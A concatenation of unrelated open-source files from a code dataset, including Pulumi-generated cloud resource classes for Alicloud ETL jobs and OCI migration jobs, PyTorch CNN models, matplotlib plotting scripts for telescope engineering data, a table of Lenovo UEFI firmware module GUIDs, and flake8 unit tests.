__props__.__dict__["kms_encryption_access_key_id_context"] = kms_encryption_access_key_id_context
__props__.__dict__["kms_encryption_access_key_secret_context"] = kms_encryption_access_key_secret_context
__props__.__dict__["last_modified_time"] = last_modified_time
if logstore is None and not opts.urn:
raise TypeError("Missing required property 'logstore'")
__props__.__dict__["logstore"] = logstore
__props__.__dict__["parameters"] = parameters
if project is None and not opts.urn:
raise TypeError("Missing required property 'project'")
__props__.__dict__["project"] = project
__props__.__dict__["role_arn"] = role_arn
__props__.__dict__["schedule"] = schedule
if script is None and not opts.urn:
raise TypeError("Missing required property 'script'")
__props__.__dict__["script"] = script
__props__.__dict__["status"] = status
__props__.__dict__["to_time"] = to_time
__props__.__dict__["version"] = version
super(Etl, __self__).__init__(
'alicloud:log/etl:Etl',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
access_key_id: Optional[pulumi.Input[str]] = None,
access_key_secret: Optional[pulumi.Input[str]] = None,
create_time: Optional[pulumi.Input[int]] = None,
description: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
etl_name: Optional[pulumi.Input[str]] = None,
etl_sinks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['EtlEtlSinkArgs']]]]] = None,
etl_type: Optional[pulumi.Input[str]] = None,
from_time: Optional[pulumi.Input[int]] = None,
kms_encrypted_access_key_id: Optional[pulumi.Input[str]] = None,
kms_encrypted_access_key_secret: Optional[pulumi.Input[str]] = None,
kms_encryption_access_key_id_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
kms_encryption_access_key_secret_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
last_modified_time: Optional[pulumi.Input[int]] = None,
logstore: Optional[pulumi.Input[str]] = None,
parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
project: Optional[pulumi.Input[str]] = None,
role_arn: Optional[pulumi.Input[str]] = None,
schedule: Optional[pulumi.Input[str]] = None,
script: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
to_time: Optional[pulumi.Input[int]] = None,
version: Optional[pulumi.Input[int]] = None) -> 'Etl':
"""
Get an existing Etl resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] access_key_id: Delivery target logstore access key id.
:param pulumi.Input[str] access_key_secret: Delivery target logstore access key secret.
:param pulumi.Input[int] create_time: The etl job create time.
:param pulumi.Input[str] description: Description of the log etl job.
:param pulumi.Input[str] display_name: Log service etl job alias.
:param pulumi.Input[str] etl_name: The name of the log etl job.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['EtlEtlSinkArgs']]]] etl_sinks: Target logstore configuration for delivery after data processing.
:param pulumi.Input[str] etl_type: Log service etl type, the default value is `ETL`.
:param pulumi.Input[int] from_time: The start time of the processing job, the default starts from the current time.
:param pulumi.Input[str] kms_encrypted_access_key_id: An KMS encrypts access key id used to a log etl job. If the `access_key_id` is filled in, this field will be ignored.
:param pulumi.Input[str] kms_encrypted_access_key_secret: An KMS encrypts access key secret used to a log etl job. If the `access_key_secret` is filled in, this field will be ignored.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_access_key_id_context: An KMS encryption context used to decrypt `kms_encrypted_access_key_id` before creating or updating an instance with `kms_encrypted_access_key_id`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_access_key_secret_context: An KMS encryption context used to decrypt `kms_encrypted_access_key_secret` before creating or updating an instance with `kms_encrypted_access_key_secret`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
:param pulumi.Input[int] last_modified_time: ETL job last modified time.
:param pulumi.Input[str] logstore: Delivery target logstore.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: Advanced parameter configuration of processing operations.
:param pulumi.Input[str] project: The project where the target logstore is delivered.
:param pulumi.Input[str] role_arn: Sts role info under delivery target logstore. `role_arn` and `(access_key_id, access_key_secret)` fill in at most one. If you do not fill in both, then you must fill in `(kms_encrypted_access_key_id, kms_encrypted_access_key_secret, kms_encryption_access_key_id_context, kms_encryption_access_key_secret_context)` to use KMS to get the key pair.
:param pulumi.Input[str] schedule: Job scheduling type, the default value is Resident.
:param pulumi.Input[str] script: Processing operation grammar.
:param pulumi.Input[str] status: Log project tags. the default value is RUNNING, Only 4 values are supported: `STARTING`，`RUNNING`，`STOPPING`，`STOPPED`.
:param pulumi.Input[int] to_time: Deadline of processing job, the default value is None.
:param pulumi.Input[int] version: Log etl job version. the default value is `2`.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _EtlState.__new__(_EtlState)
__props__.__dict__["access_key_id"] = access_key_id
__props__.__dict__["access_key_secret"] = access_key_secret
__props__.__dict__["create_time"] = create_time
__props__.__dict__["description"] = description
__props__.__dict__["display_name"] = display_name
__props__.__dict__["etl_name"] = etl_name
__props__.__dict__["etl_sinks"] = etl_sinks
__props__.__dict__["etl_type"] = etl_type
__props__.__dict__["from_time"] = from_time
__props__.__dict__["kms_encrypted_access_key_id"] = kms_encrypted_access_key_id
__props__.__dict__["kms_encrypted_access_key_secret"] = kms_encrypted_access_key_secret
__props__.__dict__["kms_encryption_access_key_id_context"] = kms_encryption_access_key_id_context
__props__.__dict__["kms_encryption_access_key_secret_context"] = kms_encryption_access_key_secret_context
__props__.__dict__["last_modified_time"] = last_modified_time
__props__.__dict__["logstore"] = logstore
__props__.__dict__["parameters"] = parameters
__props__.__dict__["project"] = project
__props__.__dict__["role_arn"] = role_arn
__props__.__dict__["schedule"] = schedule
__props__.__dict__["script"] = script
__props__.__dict__["status"] = status
__props__.__dict__["to_time"] = to_time
__props__.__dict__["version"] = version
return Etl(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="accessKeyId")
def access_key_id(self) -> pulumi.Output[Optional[str]]:
"""
Delivery target logstore access key id.
"""
return pulumi.get(self, "access_key_id")
@property
@pulumi.getter(name="accessKeySecret")
def access_key_secret(self) -> pulumi.Output[Optional[str]]:
"""
Delivery target logstore access key secret.
"""
return pulumi.get(self, "access_key_secret")
@property
@pulumi.getter(name="createTime")
def create_time(self) -> pulumi.Output[int]:
"""
The etl job create time.
"""
return pulumi.get(self, "create_time")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
"""
Description of the log etl job.
"""
return pulumi.get(self, "description")
@property
@pulumi.getter(name="displayName")
def display_name(self) -> pulumi.Output[str]:
"""
Log service etl job alias.
"""
return pulumi.get(self, "display_name")
@property
@pulumi.getter(name="etlName")
def etl_name(self) -> pulumi.Output[str]:
"""
The name of the log etl job.
"""
return pulumi.get(self, "etl_name")
@property
@pulumi.getter(name="etlSinks")
def etl_sinks(self) -> pulumi.Output[Sequence['outputs.EtlEtlSink']]:
"""
Target logstore configuration for delivery after data processing.
"""
return pulumi.get(self, "etl_sinks")
@property
@pulumi.getter(name="etlType")
def etl_type(self) -> pulumi.Output[Optional[str]]:
"""
Log service etl type, the default value is `ETL`.
"""
return pulumi.get(self, "etl_type")
@property
@pulumi.getter(name="fromTime")
def from_time(self) -> pulumi.Output[int]:
"""
The start time of the processing job, the default starts from the current time.
"""
return pulumi.get(self, "from_time")
@property
@pulumi.getter(name="kmsEncryptedAccessKeyId")
def kms_encrypted_access_key_id(self) -> pulumi.Output[Optional[str]]:
"""
An KMS encrypts access key id used to a log etl job. If the `access_key_id` is filled in, this field will be ignored.
"""
return pulumi.get(self, "kms_encrypted_access_key_id")
@property
@pulumi.getter(name="kmsEncryptedAccessKeySecret")
def kms_encrypted_access_key_secret(self) -> pulumi.Output[Optional[str]]:
"""
An KMS encrypts access key secret used to a log etl job. If the `access_key_secret` is filled in, this field will be ignored.
"""
return pulumi.get(self, "kms_encrypted_access_key_secret")
@property
@pulumi.getter(name="kmsEncryptionAccessKeyIdContext")
def kms_encryption_access_key_id_context(self) -> pulumi.Output[Optional[Mapping[str, Any]]]:
"""
An KMS encryption context used to decrypt `kms_encrypted_access_key_id` before creating or updating an instance with `kms_encrypted_access_key_id`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
"""
return pulumi.get(self, "kms_encryption_access_key_id_context")
@property
@pulumi.getter(name="kmsEncryptionAccessKeySecretContext")
def kms_encryption_access_key_secret_context(self) -> pulumi.Output[Optional[Mapping[str, Any]]]:
"""
An KMS encryption context used to decrypt `kms_encrypted_access_key_secret` before creating or updating an instance with `kms_encrypted_access_key_secret`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set. When it is changed, the instance will reboot to make the change take effect.
"""
return pulumi.get(self, "kms_encryption_access_key_secret_context")
@property
@pulumi.getter(name="lastModifiedTime")
def last_modified_time(self) -> pulumi.Output[int]:
"""
ETL job last modified time.
"""
return pulumi.get(self, "last_modified_time")
@property
@pulumi.getter
def logstore(self) -> pulumi.Output[str]:
"""
Delivery target logstore.
"""
return pulumi.get(self, "logstore")
@property
@pulumi.getter
def parameters(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
Advanced parameter configuration of processing operations.
"""
return pulumi.get(self, "parameters")
@property
@pulumi.getter
def project(self) -> pulumi.Output[str]:
"""
The project where the target logstore is delivered.
"""
return pulumi.get(self, "project")
@property
@pulumi.getter(name="roleArn")
def role_arn(self) -> pulumi.Output[Optional[str]]:
"""
Sts role info under delivery target logstore. `role_arn` and `(access_key_id, access_key_secret)` fill in at most one. If you do not fill in both, then you must fill in `(kms_encrypted_access_key_id, kms_encrypted_access_key_secret, kms_encryption_access_key_id_context, kms_encryption_access_key_secret_context)` to use KMS to get the key pair.
"""
return pulumi.get(self, "role_arn")
@property
@pulumi.getter
def schedule(self) -> pulumi.Output[Optional[str]]:
"""
Job scheduling type, the default value is Resident.
"""
return pulumi.get(self, "schedule")
@property
@pulumi.getter
def script(self) -> pulumi.Output[str]:
"""
Processing operation grammar.
"""
return pulumi.get(self, "script")
@property
@pulumi.getter
def status(self) -> pulumi.Output[str]:
"""
Log project tags. the default value is RUNNING, Only 4 values are supported: `STARTING`，`RUNNING`，`STOPPING`，`STOPPED`.
"""
return pulumi.get(self, "status")
@property
@pulumi.getter(name="toTime")
def to_time(self) -> pulumi.Output[Optional[int]]:
"""
Deadline of processing job, the default value is None.
"""
return pulumi.get(self, "to_time")
@property
@pulumi.getter
def version(self) -> pulumi.Output[Optional[int]]:
"""
Log etl job version. the default value is `2`.
"""
return pulumi.get(self, "version")
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|
[
"MIT"
] | null | null | null |
python_in_action/modules/sound/effects/echo.py
|
wang-junjian/learn-python
|
078a260f023b7bd7083132baea7ec0c09d6a2bef
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print('sound/effects/echo.py')
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|
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"BSD-3-Clause"
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"BSD-3-Clause"
] | 22
|
2019-06-17T01:15:35.000Z
|
2021-11-17T10:29:00.000Z
|
import torch
import torch.nn as nn
import torch.nn.functional as F
class MotionCNN(nn.Module):
def __init__(self):
super().__init__()
self.model = nn.Sequential(
nn.Conv2d(in_channels=72, out_channels=96, kernel_size=7, stride=2),
nn.BatchNorm2d(num_features=96),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.ReLU(),
#nn.LocalResponseNorm(size=2),
nn.Conv2d(in_channels=96, out_channels=256, kernel_size=5, stride=2),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.ReLU(),
nn.Conv2d(in_channels=256, out_channels=512, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1),
nn.MaxPool2d(kernel_size=3, stride=1),
nn.ReLU(),
#nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1),
#nn.MaxPool2d(kernel_size=3, stride=1),
#nn.ReLU(),
)
mock_input = torch.randn(32, 72, 224, 224)
mock_output = self.model(mock_input)
flattened_output = torch.flatten(mock_output, start_dim=1)
fc_in_dim = flattened_output.shape[1] # Get number of nodes from flattened value's size, then convert 0 dim tensor to integer
self.full_conn1 = nn.Linear(in_features=fc_in_dim, out_features=4096)
self.full_conn2 = nn.Linear(in_features=4096, out_features=2048)
self.full_conn3 = nn.Linear(in_features = 2048, out_features=1024)
self.full_conn4 = nn.Linear(in_features = 1024, out_features = 2)
#self.full_conn3 = nn.Linear(in_features=4096, out_features=2)
def forward(self, x):
x = self.model(x)
x = torch.flatten(x, start_dim=1) # Flattens layers without losing batches
x = self.full_conn1(x)
x = F.relu(x)
x = F.dropout(x)
x = self.full_conn2(x)
x = F.relu(x)
x = self.full_conn3(x)
x = F.relu(x)
x = self.full_conn4(x)
return x
class SpatialCNN(nn.Module):
def __init__(self):
super().__init__()
self.model = nn.Sequential(
nn.Conv2d(in_channels=108, out_channels=96, kernel_size=7, stride=2),
nn.BatchNorm2d(num_features=96),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.ReLU(),
#nn.LocalResponseNorm(size=2),
#nn.BatchNorm2d(num_features=96),
nn.Conv2d(in_channels=96, out_channels=256, kernel_size=5, stride=2),
nn.BatchNorm2d(num_features=256),
nn.MaxPool2d(kernel_size=3, stride=2),
nn.ReLU(),
#nn.LocalResponseNorm(size=2),
#nn.BatchNorm2d(num_features=256),
nn.Conv2d(in_channels=256, out_channels=512, kernel_size=3, stride=1),
nn.BatchNorm2d(num_features=512),
nn.ReLU(),
nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1),
nn.ReLU(),
)
mock_input = torch.randn(32, 108, 224, 224)
mock_output = self.model(mock_input)
flattened_output = torch.flatten(mock_output, start_dim=1)
fc_in_dim = flattened_output.shape[1] # Get number of nodes from flattened value's size, then convert 0 dim tensor to integer
self.full_conn1 = nn.Linear(in_features=fc_in_dim, out_features=4096)
self.norm1 = nn.BatchNorm1d(num_features=4096)
self.full_conn2 = nn.Linear(in_features=4096, out_features=2048)
self.full_conn3 = nn.Linear(in_features=2048, out_features=2)
#self.full_conn3 = nn.Linear(in_features=4096, out_features=2)
def forward(self, x):
x = self.model(x)
x = torch.flatten(x, start_dim=1) # Flattens layers without losing batches
x = self.full_conn1(x)
x = self.norm1(x)
x = F.relu(x)
x = F.dropout(x)
x = self.full_conn2(x)
x = F.relu(x)
x = F.dropout(x)
x = self.full_conn3(x)
return x
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2019-12-06T23:06:50.000Z
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|
79205d94a97b4d452edae0599182f1e7c1bcd969
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"MIT"
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engineering_time/visualize.py
|
aibhleog/Keck-Visiting-Scholar
|
79205d94a97b4d452edae0599182f1e7c1bcd969
|
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"MIT"
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'''
This script offers different plotting functions for looking at the engineering data.
'''
__author__ = 'Taylor Hutchison'
__email__ = 'aibhleog@tamu.edu'
__version__ = 'Oct2019'
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import matplotlib.gridspec as gd
def xyshift(df,rotcolor=True,savefig=True):
elevations = list(set(df.el))
rotpposns = list(set(df.rotpposn))
# visualize the data
plt.figure(figsize=(9,6))
# plotting all measured xshifts and yshifts
if rotcolor == True:
plt.scatter(df.xshift,df.yshift,c=df.rotpposn,cmap='viridis',edgecolor='k',zorder=5)
cbar = plt.colorbar()
cbar.set_ticks(np.sort(rotpposns))
plt.text(1.21,0.4,'rotpposn',rotation=270,transform=plt.gca().transAxes,fontsize=16)
else:
plt.scatter(df.xshift,df.yshift,edgecolor='k',zorder=5)
plt.title('Reference frame: EL=5$^\mathrm{o}$ ROTPPOSN=0$^\mathrm{o} $')
plt.xlabel('(x$_0 -$ x) [pixels]')
plt.ylabel('(y$_0 -$ y) [pixels]')
plt.tight_layout()
if savefig == True: plt.savefig('../plots-data/data_FCS/xyshift.png',dpi=300)
else: plt.show()
plt.close('all')
def xshift_rot(df,savefig=True):
elevations = list(set(df.el))
rotpposns = list(set(df.rotpposn))
# visualize the data
plt.figure(figsize=(9,6))
plt.scatter(df.rotpposn,df.xshift,c=df.el,cmap='viridis',edgecolor='k',zorder=5)
plt.gca().set_xticks(np.sort(rotpposns))
cbar = plt.colorbar()
cbar.set_ticks(np.sort(elevations))
plt.text(1.16,0.4,'elevation',rotation=270,transform=plt.gca().transAxes,fontsize=16)
plt.title('Reference frame: EL=5$^\mathrm{o}$ ROTPPOSN=0$^\mathrm{o} $')
plt.ylabel('(x$_0 -$ x) [pixels]')
plt.xlabel('rotpposn [degrees]')
plt.tight_layout()
if savefig == True: plt.savefig('../plots-data/data_FCS/xshift_rot.png',dpi=300)
else: plt.show()
plt.close('all')
def yshift_rot(df,savefig=True):
elevations = list(set(df.el))
rotpposns = list(set(df.rotpposn))
# visualize the data
plt.figure(figsize=(9,6))
plt.scatter(df.rotpposn,df.yshift,c=df.el,cmap='viridis',edgecolor='k',zorder=5)
plt.gca().set_xticks(np.sort(rotpposns))
cbar = plt.colorbar()
cbar.set_ticks(np.sort(elevations))
plt.text(1.16,0.4,'elevation',rotation=270,transform=plt.gca().transAxes,fontsize=16)
plt.title('Reference frame: EL=5$^\mathrm{o}$ ROTPPOSN=0$^\mathrm{o} $')
plt.ylabel('(y$_0 -$ y) [pixels]')
plt.xlabel('rotpposn [degrees]')
plt.tight_layout()
if savefig == True: plt.savefig('../plots-data/data_FCS/yshift_rot.png',dpi=300)
else: plt.show()
plt.close('all')
def xshift_el(df,savefig=True):
elevations = list(set(df.el))
rotpposns = list(set(df.rotpposn))
# visualize the data
plt.figure(figsize=(9,6))
plt.scatter(df.el,df.xshift,c=df.rotpposn,cmap='viridis',edgecolor='k',zorder=5)
plt.gca().set_xticks(np.sort(elevations))
cbar = plt.colorbar()
cbar.set_ticks(np.sort(rotpposns))
plt.text(1.21,0.4,'rotpposn',rotation=270,transform=plt.gca().transAxes,fontsize=16)
plt.title('Reference frame: EL=5$^\mathrm{o}$ ROTPPOSN=0$^\mathrm{o} $')
plt.ylabel('(x$_0 -$ x) [pixels]')
plt.xlabel('elevation [degrees]')
plt.tight_layout()
if savefig == True: plt.savefig('../plots-data/data_FCS/xshift_el.png',dpi=300)
else: plt.show()
plt.close('all')
def yshift_el(df,savefig=True):
elevations = list(set(df.el))
rotpposns = list(set(df.rotpposn))
# visualize the data
plt.figure(figsize=(9,6))
plt.scatter(df.el,df.yshift,c=df.rotpposn,cmap='viridis',edgecolor='k',zorder=5)
plt.gca().set_xticks(np.sort(elevations))
cbar = plt.colorbar()
cbar.set_ticks(np.sort(rotpposns))
plt.text(1.21,0.4,'rotpposn',rotation=270,transform=plt.gca().transAxes,fontsize=16)
plt.title('Reference frame: EL=5$^\mathrm{o}$ ROTPPOSN=0$^\mathrm{o} $')
plt.ylabel('(y$_0 -$ y) [pixels]')
plt.xlabel('elevation [degrees]')
plt.tight_layout()
if savefig == True: plt.savefig('../plots-data/data_FCS/yshift_el.png',dpi=300)
else: plt.show()
plt.close('all')
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"LENOVO_AT24_RF08_EEPROM_SMM_GUID": [1265312161, 62059, 16463, 134, 148, 219, 28, 99, 161, 217, 42],
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"LENOVO_COMPUTRACE_ENABLER_DXE_GUID": [1325158874, 9126, 18320, 162, 146, 73, 133, 199, 245, 205, 239],
"LENOVO_EN25_QH64_FLASH_PART_SMM_GUID": [1344002362, 61865, 20300, 169, 70, 120, 103, 223, 151, 85, 55],
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"LENOVO_REMOTE_CONFIG_UPDATE_DXE_GUID": [1646126790, 3934, 20195, 161, 2, 11, 222, 118, 154, 10, 212],
"LENOVO_CPU_INIT_DXE_GUID": [1657893323, 30925, 17536, 134, 120, 198, 162, 167, 151, 168, 222],
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"LENOVO_RN_RCONFIG_GUID": [1717387104, 44350, 19629, 142, 38, 219, 70, 238, 233, 241, 181],
"LENOVO_VARIABLE_DXE_GUID": [1726926656, 25362, 18970, 168, 58, 179, 178, 248, 216, 167, 26],
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"LENOVO_SECURE_KEY_DXE_GUID": [1787443551, 19463, 18897, 185, 76, 34, 237, 80, 212, 37, 248],
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"LENOVO_SMBIOS_VPRO_GUID": [1850878195, 37694, 18785, 149, 115, 15, 30, 97, 181, 34, 172],
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"LENOVO_PI_SAVE_STATE_ACCESS_GUID": [1887124590, 39334, 19991, 132, 160, 64, 40, 76, 27, 63, 56],
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"LENOVO_SYSTEM_USB_SUPPORT_POLICY_DXE_GUID": [604377783, 41059, 4564, 154, 58, 0, 144, 39, 63, 193, 78],
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"LENOVO_SYSTEM_USB_MOUSE_DXE_GUID": [758014634, 40655, 17335, 130, 25, 148, 231, 252, 113, 61, 254],
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"LENOVO_PLATFORM_DXE_GUID": [762263487, 39676, 19109, 160, 38, 50, 178, 252, 243, 15, 185],
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"LENOVO_ME_PCI_UPDATE_GUID": [937281513, 31773, 19995, 178, 203, 78, 213, 209, 37, 39, 179],
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"LENOVO_MX25_L64_XFLASH_PART_DXE_GUID": [949109979, 15726, 20048, 131, 93, 90, 119, 90, 50, 93, 137],
"LENOVO_AOAC_SMM_GUID": [975891559, 30648, 16558, 146, 129, 3, 81, 156, 158, 127, 8],
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"LENOVO_SYSTEM_CRYPT_SVC_RT_GUID": [1044688137, 55435, 19538, 180, 27, 184, 192, 5, 54, 71, 74],
"LENOVO_PLATFORM_PCI_DXE_GUID": [1064784879, 54127, 17868, 138, 26, 46, 170, 255, 16, 56, 182],
"LENOVO_FIT_DIAGNOSTICS_LOADER_GUID": [1065247067, 3397, 20352, 136, 220, 38, 178, 52, 149, 133, 96],
"LENOVO_IBEX_PEAK_GLOBAL_SMI_CONTROL_GUID": [1069045413, 51376, 18272, 180, 154, 46, 221, 79, 163, 91, 250],
"LENOVO_VPRO_IDER_ASF_BOOT_GUID": [1075081700, 40569, 18020, 191, 176, 23, 149, 36, 35, 5, 103],
"LENOVO_SYSTEM_CON_SPLITTER_DXE_GUID": [1083104492, 53101, 18300, 165, 168, 180, 132, 78, 61, 226, 129],
"LENOVO_I_FFS_SMM_GUID": [1125591121, 53118, 17221, 159, 224, 215, 1, 43, 177, 123, 136],
"LENOVO_SYSTEM_PARTITION_DXE_GUID": [1136210482, 44990, 4564, 189, 15, 0, 128, 199, 60, 136, 129],
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"LENOVO_VARIABLE_INIT_SMM_GUID": [1154448672, 57334, 16905, 154, 31, 246, 205, 95, 92, 232, 139],
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"LENOVO_COMPUTRACE_LOADER_DXE_GUID": [1166658547, 1017, 18840, 157, 111, 38, 52, 60, 105, 86, 42],
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"LENOVO_VPRO_HII_DXE_GUID": [1322172828, 28255, 18453, 131, 66, 181, 95, 44, 197, 223, 193],
"LENOVO_COMPUTRACE_ENABLER_DXE_GUID": [1325158874, 9126, 18320, 162, 146, 73, 133, 199, 245, 205, 239],
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"LENOVO_SYSTEM_FIRMWARE_DEVICE_SMM_GUID": [1422077119, 41913, 19662, 156, 67, 224, 89, 227, 34, 85, 223],
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"LENOVO_SECURE_KEY_DXE_GUID": [1787443551, 19463, 18897, 185, 76, 34, 237, 80, 212, 37, 248],
"LENOVO_UDP4_DXE_BIN_GUID": [1835623339, 36973, 19045, 167, 202, 189, 64, 229, 214, 175, 43],
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"LENOVO_SMBIOS_VPRO_GUID": [1850878195, 37694, 18785, 149, 115, 15, 30, 97, 181, 34, 172],
"LENOVO_W25_Q64_FLASH_PART_SMM_GUID": [1852721781, 61204, 18427, 180, 58, 103, 236, 67, 184, 125, 34],
"LENOVO_SYSTEM_ISA_KBC_DXE_GUID": [1852769708, 9035, 18011, 148, 80, 195, 110, 109, 117, 102, 197],
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"LENOVO_PI_SAVE_STATE_ACCESS_GUID": [1887124590, 39334, 19991, 132, 160, 64, 40, 76, 27, 63, 56],
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"LENOVO_SYSTEM_ACPI_TABLE_LOADER_DXE_GUID": [2002878155, 57897, 20000, 184, 249, 223, 130, 69, 98, 77, 122],
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py
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Python
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python3.4Smartforest/lib/python3.4/site-packages/flake8/tests/test_pyflakes.py
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letouriste001/SmartForest_2.0
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[
"MIT"
] | null | null | null |
python3.4Smartforest/lib/python3.4/site-packages/flake8/tests/test_pyflakes.py
|
letouriste001/SmartForest_2.0
|
109b78bf1e8c8404800f377ab969395ccbb617be
|
[
"MIT"
] | null | null | null |
python3.4Smartforest/lib/python3.4/site-packages/flake8/tests/test_pyflakes.py
|
letouriste001/SmartForest_2.0
|
109b78bf1e8c8404800f377ab969395ccbb617be
|
[
"MIT"
] | null | null | null |
from __future__ import with_statement
import ast
import unittest
from collections import namedtuple
from flake8._pyflakes import FlakesChecker
Options = namedtuple("Options", ['builtins', 'doctests',
'include_in_doctest',
'exclude_from_doctest'])
class TestFlakesChecker(unittest.TestCase):
def setUp(self):
self.tree = ast.parse('print("cookies")')
def test_doctest_flag_enabled(self):
options = Options(builtins=None, doctests=True,
include_in_doctest='',
exclude_from_doctest='')
FlakesChecker.parse_options(options)
flake_checker = FlakesChecker(self.tree, 'cookies.txt')
assert flake_checker.withDoctest is True
def test_doctest_flag_disabled(self):
options = Options(builtins=None, doctests=False,
include_in_doctest='',
exclude_from_doctest='')
FlakesChecker.parse_options(options)
flake_checker = FlakesChecker(self.tree, 'cookies.txt')
assert flake_checker.withDoctest is False
def test_doctest_flag_enabled_exclude_file(self):
options = Options(builtins=None, doctests=True,
include_in_doctest='',
exclude_from_doctest='cookies.txt,'
'hungry/cookies.txt')
FlakesChecker.parse_options(options)
flake_checker = FlakesChecker(self.tree, './cookies.txt')
assert flake_checker.withDoctest is False
def test_doctest_flag_disabled_include_file(self):
options = Options(builtins=None, doctests=False,
include_in_doctest='./cookies.txt,cake_yuck.txt',
exclude_from_doctest='')
FlakesChecker.parse_options(options)
flake_checker = FlakesChecker(self.tree, './cookies.txt')
assert flake_checker.withDoctest is True
def test_doctest_flag_disabled_include_file_exclude_dir(self):
options = Options(builtins=None, doctests=False,
include_in_doctest='./cookies.txt',
exclude_from_doctest='./')
FlakesChecker.parse_options(options)
flake_checker = FlakesChecker(self.tree, './cookies.txt')
assert flake_checker.withDoctest is True
def test_doctest_flag_disabled_include_dir_exclude_file(self):
options = Options(builtins=None, doctests=False,
include_in_doctest='./',
exclude_from_doctest='./cookies.txt')
FlakesChecker.parse_options(options)
flake_checker = FlakesChecker(self.tree, './cookies.txt')
assert flake_checker.withDoctest is False
def test_doctest_flag_disabled_include_file_exclude_file_error(self):
options = Options(builtins=None, doctests=False,
include_in_doctest='./cookies.txt',
exclude_from_doctest='./cookies.txt,cake_yuck.txt')
self.assertRaises(ValueError, FlakesChecker.parse_options, options)
| 3,151
| 3,151
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| 0.75882
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py
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Python
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sdk/python/pulumi_oci/databasemigration/job.py
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EladGabay/pulumi-oci
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"ECL-2.0",
"Apache-2.0"
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2021-09-06T11:21:29.000Z
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2021-09-06T11:21:29.000Z
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sdk/python/pulumi_oci/databasemigration/job.py
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"ECL-2.0",
"Apache-2.0"
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2021-08-24T23:31:30.000Z
|
2022-01-02T19:26:54.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['JobArgs', 'Job']
@pulumi.input_type
class JobArgs:
def __init__(__self__, *,
job_id: pulumi.Input[str],
defined_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
display_name: Optional[pulumi.Input[str]] = None,
freeform_tags: Optional[pulumi.Input[Mapping[str, Any]]] = None):
"""
The set of arguments for constructing a Job resource.
:param pulumi.Input[str] job_id: The OCID of the job
:param pulumi.Input[Mapping[str, Any]] defined_tags: (Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
:param pulumi.Input[str] display_name: (Updatable) Name of the job.
:param pulumi.Input[Mapping[str, Any]] freeform_tags: (Updatable) Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only. Example: `{"bar-key": "value"}`
"""
pulumi.set(__self__, "job_id", job_id)
if defined_tags is not None:
pulumi.set(__self__, "defined_tags", defined_tags)
if display_name is not None:
pulumi.set(__self__, "display_name", display_name)
if freeform_tags is not None:
pulumi.set(__self__, "freeform_tags", freeform_tags)
@property
@pulumi.getter(name="jobId")
def job_id(self) -> pulumi.Input[str]:
"""
The OCID of the job
"""
return pulumi.get(self, "job_id")
@job_id.setter
def job_id(self, value: pulumi.Input[str]):
pulumi.set(self, "job_id", value)
@property
@pulumi.getter(name="definedTags")
def defined_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
(Updatable) Defined tags for this resource. Each key is predefined and scoped to a namespace. Example: `{"foo-namespace.bar-key": "value"}`
"""
return pulumi.get(self, "defined_tags")
@defined_tags.setter
def defined_tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "defined_tags", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> Optional[pulumi.Input[str]]:
"""
(Updatable) Name of the job.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter(name="freeformTags")
def freeform_tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
